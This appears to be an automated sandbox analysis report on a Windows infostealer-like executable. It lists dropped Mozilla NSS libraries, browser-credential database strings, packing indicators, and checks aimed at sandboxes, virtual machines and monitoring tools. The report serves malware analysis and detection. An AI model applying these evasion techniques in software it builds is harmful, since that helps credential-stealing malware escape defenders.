Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF06CF0	4_2_6CF06CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CECD4E0	4_2_6CECD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CED64C0	4_2_6CED64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CEED4D0	4_2_6CEED4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF234A0	4_2_6CF234A0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF2C4A0	4_2_6CF2C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CED6C80	4_2_6CED6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CED5440	4_2_6CED5440
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF3545C	4_2_6CF3545C
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF3542B	4_2_6CF3542B
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF05C10	4_2_6CF05C10
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF12C10	4_2_6CF12C10
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF3AC00	4_2_6CF3AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF285F0	4_2_6CF285F0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF00DD0	4_2_6CF00DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CEDFD00	4_2_6CEDFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CEF0512	4_2_6CEF0512
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CEEED10	4_2_6CEEED10
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF376E3	4_2_6CF376E3
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CECBEF0	4_2_6CECBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CEDFEF0	4_2_6CEDFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF24EA0	4_2_6CF24EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF2E680	4_2_6CF2E680
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CEE5E90	4_2_6CEE5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF36E63	4_2_6CF36E63
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CECC670	4_2_6CECC670
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF03E50	4_2_6CF03E50
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CEE4640	4_2_6CEE4640
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CEE9E50	4_2_6CEE9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF12E4E	4_2_6CF12E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF29E30	4_2_6CF29E30
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF07E10	4_2_6CF07E10
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF15600	4_2_6CF15600
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CECDFE0	4_2_6CECDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CEF6FF0	4_2_6CEF6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF177A0	4_2_6CF177A0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF07710	4_2_6CF07710
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CED9F00	4_2_6CED9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CEEC0E0	4_2_6CEEC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF058E0	4_2_6CF058E0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF350C7	4_2_6CF350C7
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CEF60A0	4_2_6CEF60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF0F070	4_2_6CF0F070
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CEE8850	4_2_6CEE8850
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CEED850	4_2_6CEED850
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF0B820	4_2_6CF0B820
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF14820	4_2_6CF14820
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CED7810	4_2_6CED7810
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CECC9A0	4_2_6CECC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CEFD9B0	4_2_6CEFD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF05190	4_2_6CF05190
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF22990	4_2_6CF22990
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF1B970	4_2_6CF1B970
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF3B170	4_2_6CF3B170
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CEDD960	4_2_6CEDD960
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CEEA940	4_2_6CEEA940
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF0E2F0	4_2_6CF0E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CEE1AF0	4_2_6CEE1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF08AC0	4_2_6CF08AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF32AB0	4_2_6CF32AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CEC22A0	4_2_6CEC22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CEF4AA0	4_2_6CEF4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CEDCAB0	4_2_6CEDCAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF3BA90	4_2_6CF3BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF09A60	4_2_6CF09A60
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF353C8	4_2_6CF353C8
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CECF380	4_2_6CECF380
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CEDC370	4_2_6CEDC370
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CEC5340	4_2_6CEC5340
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_6CF0D320	4_2_6CF0D320

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00D745C0 appears 316 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF094D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CEFCBE8 appears 134 times

Source: file.exe, 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000004.00000002.1558225636.000000006D145000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: ehszfudg ZLIB complexity 0.994777552480916

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: file.exe, 00000004.00000003.1294425570.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/23@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 4_2_6CF27030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

4_2_6CF27030

Source: C:\Users\user\Desktop\file.exe

Code function: 4_2_00D88680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

4_2_00D88680

Source: C:\Users\user\Desktop\file.exe

Code function: 4_2_00D83720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

4_2_00D83720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\HHHMW12Z.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000004.00000002.1546020376.000000001DF76000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000002.1557447709.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000004.00000002.1558050821.000000006D0FF000.00000002.00000001.01000000.00000007.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000004.00000002.1546020376.000000001DF76000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000002.1557447709.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000004.00000002.1558050821.000000006D0FF000.00000002.00000001.01000000.00000007.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000004.00000002.1546020376.000000001DF76000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000002.1557447709.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000004.00000002.1558050821.000000006D0FF000.00000002.00000001.01000000.00000007.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000004.00000002.1546020376.000000001DF76000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000002.1557447709.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000004.00000002.1558050821.000000006D0FF000.00000002.00000001.01000000.00000007.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000004.00000002.1546020376.000000001DF76000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000002.1557447709.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000004.00000002.1558050821.000000006D0FF000.00000002.00000001.01000000.00000007.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000004.00000002.1546020376.000000001DF76000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000002.1557447709.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000004.00000002.1546020376.000000001DF76000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000002.1557447709.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000004.00000002.1558050821.000000006D0FF000.00000002.00000001.01000000.00000007.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000004.00000003.1399274950.000000001DE6B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1384422315.000000001DE78000.00000004.00000020.00020000.00000000.sdmp, CBKJJEHCBAKFBFHJKFBK.4.dr, BFIJEHCBAKFCAKFHCGDG.4.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000004.00000002.1546020376.000000001DF76000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000002.1557447709.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000004.00000002.1546020376.000000001DF76000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000002.1557447709.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	ReversingLabs: Detection: 44%
Source: file.exe	Virustotal: Detection: 53%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1832960 > 1048576

Source: file.exe

Static PE information: Raw size of ehszfudg is bigger than: 0x100000 < 0x199600

Source:	Binary string: mozglue.pdbP source: file.exe, 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.4.dr, mozglue.dll.4.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.4.dr, freebl3[1].dll.4.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.4.dr, freebl3[1].dll.4.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000004.00000002.1558050821.000000006D0FF000.00000002.00000001.01000000.00000007.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.4.dr, softokn3.dll.4.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.4.dr, vcruntime140[1].dll.4.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.4.dr, msvcp140.dll.4.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000004.00000002.1558050821.000000006D0FF000.00000002.00000001.01000000.00000007.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.4.dr, mozglue.dll.4.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.4.dr, softokn3.dll.4.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 4.2.file.exe.d70000.0.unpack :EW;.rsrc :W;.idata :W; :EW;ehszfudg:EW;ireczfhs:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;ehszfudg:EW;ireczfhs:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 4_2_00D89860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

4_2_00D89860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cd5bb should be: 0x1bfde2

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: ehszfudg
Source: file.exe	Static PE information: section name: ireczfhs
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue.dll.4.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.4.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.4.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.4.dr	Static PE information: section name: .didat
Source: nss3.dll.4.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.4.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.4.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.4.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.4.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.4.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0121B120 push ecx; mov dword ptr [esp], 19153848h	4_2_0121B81F
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_011BD11D push edx; mov dword ptr [esp], edi	4_2_011BD1BD
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_0116B91E push ebp; mov dword ptr [esp], esi	4_2_0116B959
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01045925 push 32A3C0DAh; mov dword ptr [esp], ebx	4_2_0104594F
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01045925 push 14CCEC4Ch; mov dword ptr [esp], edi	4_2_01045961
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01045925 push ebx; mov dword ptr [esp], eax	4_2_01045984
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01045925 push 4A4BD5FFh; mov dword ptr [esp], ecx	4_2_010459FD
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01045925 push 05251B57h; mov dword ptr [esp], edi	4_2_01045A21
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01045925 push edx; mov dword ptr [esp], edi	4_2_01045A39
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01045925 push 10492377h; mov dword ptr [esp], esi	4_2_01045A90
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01045925 push 59AC7A44h; mov dword ptr [esp], esi	4_2_01045ABF
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01133921 push eax; mov dword ptr [esp], 7A728235h	4_2_0113394D
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01133921 push 27DC42E0h; mov dword ptr [esp], ecx	4_2_0113397E
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01133921 push ecx; mov dword ptr [esp], ebx	4_2_01133982
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01133921 push ebp; mov dword ptr [esp], eax	4_2_01133986
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01133921 push ecx; mov dword ptr [esp], 7F7F0BFDh	4_2_0113398D
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01133921 push eax; mov dword ptr [esp], edx	4_2_011339AA
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01133921 push 42E27A04h; mov dword ptr [esp], edx	4_2_011339FE
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01133921 push 5D916817h; mov dword ptr [esp], eax	4_2_01133A83
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01133921 push edx; mov dword ptr [esp], ebp	4_2_01133AD4
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01133921 push 3C466C15h; mov dword ptr [esp], edx	4_2_01133B3C
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01133921 push esi; mov dword ptr [esp], 78E79F84h	4_2_01133B76
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01133921 push eax; mov dword ptr [esp], edi	4_2_01133C82
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01133921 push ebx; mov dword ptr [esp], esi	4_2_01133DA5
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01133921 push edi; mov dword ptr [esp], 728F7022h	4_2_01133E4D
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01133921 push 4E49BA75h; mov dword ptr [esp], esi	4_2_01133E94
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01133921 push edx; mov dword ptr [esp], ecx	4_2_01133EBD
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01402106 push ebp; mov dword ptr [esp], 7DF36355h	4_2_01402121
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01140140 push 0B6D368Ah; mov dword ptr [esp], edx	4_2_01140172
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01140140 push 29B2F290h; mov dword ptr [esp], eax	4_2_01140213
Source: C:\Users\user\Desktop\file.exe	Code function: 4_2_01140140 push eax; mov dword ptr [esp], edx	4_2_011402C4

Source: file.exe

Static PE information: section name: ehszfudg entropy: 7.9532832439330114

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

4_2_00D89860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_4-58190

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD22F2 second address: FD230F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F43B8D26616h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e jmp 00007F43B8D2661Eh 0x00000013 pop eax 0x00000014 rdtsc
